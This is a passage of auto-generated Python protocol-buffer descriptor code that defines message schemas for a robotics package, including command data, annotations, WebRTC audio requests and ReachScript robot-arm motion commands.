name='text_cue', full_name='robotics.learning.reach.CommandData.text_cue', index=61,
number=38, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='webrtc_audio_request', full_name='robotics.learning.reach.CommandData.webrtc_audio_request', index=62,
number=39, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010f*\022audio-request-mute*\024audio-request-unmute*\rframe-request*\024webrtc-audio-request*\025audio-request-invalid', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='sim_action', full_name='robotics.learning.reach.CommandData.sim_action', index=63,
number=35, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\025 \001*\021sim-cheat-command', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='inference_request', full_name='robotics.learning.reach.CommandData.inference_request', index=64,
number=44, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\023*\021inference-request', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='data_type_oneof', full_name='robotics.learning.reach.CommandData.data_type_oneof',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=150,
serialized_end=3974,
)
_ALERT = _descriptor.Descriptor(
name='Alert',
full_name='robotics.learning.reach.Alert',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='command_aborted', full_name='robotics.learning.reach.Alert.command_aborted', index=0,
number=1, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\370\276\343\330\t\001\340\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=3976,
serialized_end=4022,
)
_CLIENTSESSIONSTART = _descriptor.Descriptor(
name='ClientSessionStart',
full_name='robotics.learning.reach.ClientSessionStart',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='accept_depth_encoding', full_name='robotics.learning.reach.ClientSessionStart.accept_depth_encoding', index=0,
number=1, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=4024,
serialized_end=4075,
)
_CLIENTANNOTATION = _descriptor.Descriptor(
name='ClientAnnotation',
full_name='robotics.learning.reach.ClientAnnotation',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='associated_server_ts', full_name='robotics.learning.reach.ClientAnnotation.associated_server_ts', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0242\022AssociatedServerTS', json_name='associatedServerTS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='log_channel_id', full_name='robotics.learning.reach.ClientAnnotation.log_channel_id', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0162\014LogChannelID', json_name='logChannelID', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='interval_start', full_name='robotics.learning.reach.ClientAnnotation.interval_start', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='interval_end', full_name='robotics.learning.reach.ClientAnnotation.interval_end', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='text_annotation', full_name='robotics.learning.reach.ClientAnnotation.text_annotation', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='snapshot_annotation', full_name='robotics.learning.reach.ClientAnnotation.snapshot_annotation', index=5,
number=6, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='point_measurement', full_name='robotics.learning.reach.ClientAnnotation.point_measurement', index=6,
number=7, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='long_horizon_instruction', full_name='robotics.learning.reach.ClientAnnotation.long_horizon_instruction', index=7,
number=8, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='short_horizon_instruction', full_name='robotics.learning.reach.ClientAnnotation.short_horizon_instruction', index=8,
number=9, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='log_type_oneof', full_name='robotics.learning.reach.ClientAnnotation.log_type_oneof',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=4078,
serialized_end=4779,
)
_INTERVALSTART = _descriptor.Descriptor(
name='IntervalStart',
full_name='robotics.learning.reach.IntervalStart',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='name', full_name='robotics.learning.reach.IntervalStart.name', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=4781,
serialized_end=4810,
)
_INTERVALEND = _descriptor.Descriptor(
name='IntervalEnd',
full_name='robotics.learning.reach.IntervalEnd',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='name', full_name='robotics.learning.reach.IntervalEnd.name', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='start_ts', full_name='robotics.learning.reach.IntervalEnd.start_ts', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='startTS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='end_ts', full_name='robotics.learning.reach.IntervalEnd.end_ts', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='endTS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=4813,
serialized_end=4946,
)
_TEXTANNOTATION = _descriptor.Descriptor(
name='TextAnnotation',
full_name='robotics.learning.reach.TextAnnotation',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='category', full_name='robotics.learning.reach.TextAnnotation.category', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='text', full_name='robotics.learning.reach.TextAnnotation.text', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=4948,
serialized_end=4996,
)
_SNAPSHOTANNOTATION = _descriptor.Descriptor(
name='SnapshotAnnotation',
full_name='robotics.learning.reach.SnapshotAnnotation',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=4998,
serialized_end=5018,
)
_POINTMEASUREMENT = _descriptor.Descriptor(
name='PointMeasurement',
full_name='robotics.learning.reach.PointMeasurement',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='timestamp', full_name='robotics.learning.reach.PointMeasurement.timestamp', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='space', full_name='robotics.learning.reach.PointMeasurement.space', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='name', full_name='robotics.learning.reach.PointMeasurement.name', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='value', full_name='robotics.learning.reach.PointMeasurement.value', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=5021,
serialized_end=5168,
)
_MEASUREMENT = _descriptor.Descriptor(
name='Measurement',
full_name='robotics.learning.reach.Measurement',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='seconds', full_name='robotics.learning.reach.Measurement.seconds', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='measurement_type_oneof', full_name='robotics.learning.reach.Measurement.measurement_type_oneof',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=5170,
serialized_end=5228,
)
_WEBRTCAUDIOREQUEST = _descriptor.Descriptor(
name='WebrtcAudioRequest',
full_name='robotics.learning.reach.WebrtcAudioRequest',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='speaker_unmute', full_name='robotics.learning.reach.WebrtcAudioRequest.speaker_unmute', index=0,
number=1, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='microphone_unmute', full_name='robotics.learning.reach.WebrtcAudioRequest.microphone_unmute', index=1,
number=2, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=5230,
serialized_end=5301,
)
_WEBRTCAUDIORESPONSE = _descriptor.Descriptor(
name='WebrtcAudioResponse',
full_name='robotics.learning.reach.WebrtcAudioResponse',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='success', full_name='robotics.learning.reach.WebrtcAudioResponse.success', index=0,
number=1, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=5303,
serialized_end=5341,
)
_STREAMREQUEST = _descriptor.Descriptor(
name='StreamRequest',
full_name='robotics.learning.reach.StreamRequest',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='device_type', full_name='robotics.learning.reach.StreamRequest.device_type', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='device_name', full_name='robotics.learning.reach.StreamRequest.device_name', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='data_type', full_name='robotics.learning.reach.StreamRequest.data_type', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='max_rate', full_name='robotics.learning.reach.StreamRequest.max_rate', index=3,
number=4, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=5343,
serialized_end=5437,
)
_EXPERIMENTALCOMMANDDATA = _descriptor.Descriptor(
name='ExperimentalCommandData',
full_name='robotics.learning.reach.ExperimentalCommandData',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='label', full_name='robotics.learning.reach.ExperimentalCommandData.label', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='depth_ts', full_name='robotics.learning.reach.ExperimentalCommandData.depth_ts', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='depthTS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='pose_2d', full_name='robotics.learning.reach.ExperimentalCommandData.pose_2d', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='pose2D', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='position_3d', full_name='robotics.learning.reach.ExperimentalCommandData.position_3d', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='position3D', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='quaternion_3d', full_name='robotics.learning.reach.ExperimentalCommandData.quaternion_3d', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='quaternion3D', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tags', full_name='robotics.learning.reach.ExperimentalCommandData.tags', index=5,
number=6, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='user_ts', full_name='robotics.learning.reach.ExperimentalCommandData.user_ts', index=6,
number=7, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='userTS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='device_type', full_name='robotics.learning.reach.ExperimentalCommandData.device_type', index=7,
number=8, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='device_name', full_name='robotics.learning.reach.ExperimentalCommandData.device_name', index=8,
number=9, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=5440,
serialized_end=5843,
)
_REACHSCRIPTCOMMAND = _descriptor.Descriptor(
name='ReachScriptCommand',
full_name='robotics.learning.reach.ReachScriptCommand',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='set_radial_speed', full_name='robotics.learning.reach.ReachScriptCommand.set_radial_speed', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='set_blend_radius', full_name='robotics.learning.reach.ReachScriptCommand.set_blend_radius', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='move_j_path', full_name='robotics.learning.reach.ReachScriptCommand.move_j_path', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0132\tMoveJPath', json_name='movejPath', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='move_l_path', full_name='robotics.learning.reach.ReachScriptCommand.move_l_path', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0132\tMoveLPath', json_name='movelPath', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='stop_j', full_name='robotics.learning.reach.ReachScriptCommand.stop_j', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='set_digital_out', full_name='robotics.learning.reach.ReachScriptCommand.set_digital_out', index=5,
number=6, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='set_analog_out', full_name='robotics.learning.reach.ReachScriptCommand.set_analog_out', index=6,
number=7, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='set_tool_digital_out', full_name='robotics.learning.reach.ReachScriptCommand.set_tool_digital_out', index=7,
number=8, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='sleep', full_name='robotics.learning.reach.ReachScriptCommand.sleep', index=8,
number=9, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='raw', full_name='robotics.learning.reach.ReachScriptCommand.raw', index=9,
number=10, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='acquire_image', full_name='robotics.learning.reach.ReachScriptCommand.acquire_image', index=10,
number=11, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='set_output', full_name='robotics.learning.reach.ReachScriptCommand.set_output', index=11,
number=12, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='sync', full_name='robotics.learning.reach.ReachScriptCommand.sync', index=12,
number=13, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='move_pose_path', full_name='robotics.learning.reach.ReachScriptCommand.move_pose_path', index=13,
number=14, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='wait', full_name='robotics.learning.reach.ReachScriptCommand.wait', index=14,
number=15, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='controller_name', full_name='robotics.learning.reach.ReachScriptCommand.controller_name', index=15,
number=16, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=5846,
serialized_end=6862,
)
_REACHSCRIPTCALIBRATIONREQUIREMENT = _descriptor.Descriptor(
name='ReachScriptCalibrationRequirement',
full_name='robotics.learning.reach.ReachScriptCalibrationRequirement',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='allow_uncalibrated', full_name='robotics.learning.reach.ReachScriptCalibrationRequirement.allow_uncalibrated', index=0,
number=1, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=6864,
serialized_end=6927,
)
_REACHSCRIPT = _descriptor.Descriptor(
name='ReachScript',
full_name='robotics.learning.reach.ReachScript',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='preemptive', full_name='robotics.learning.reach.ReachScript.preemptive', index=0,
number=1, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='commands', full_name='robotics.learning.reach.ReachScript.commands', index=1,
number=2, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0028\000', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='version', full_name='robotics.learning.reach.ReachScript.version', index=2,
number=3, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='preemptive_reason', full_name='robotics.learning.reach.ReachScript.preemptive_reason', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='calibration_requirement', full_name='robotics.learning.reach.ReachScript.calibration_requirement', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=6930,
serialized_end=7173,
)
_SETRADIALSPEEDARGS = _descriptor.Descriptor(
name='SetRadialSpeedArgs',
full_name='robotics.learning.reach.SetRadialSpeedArgs',
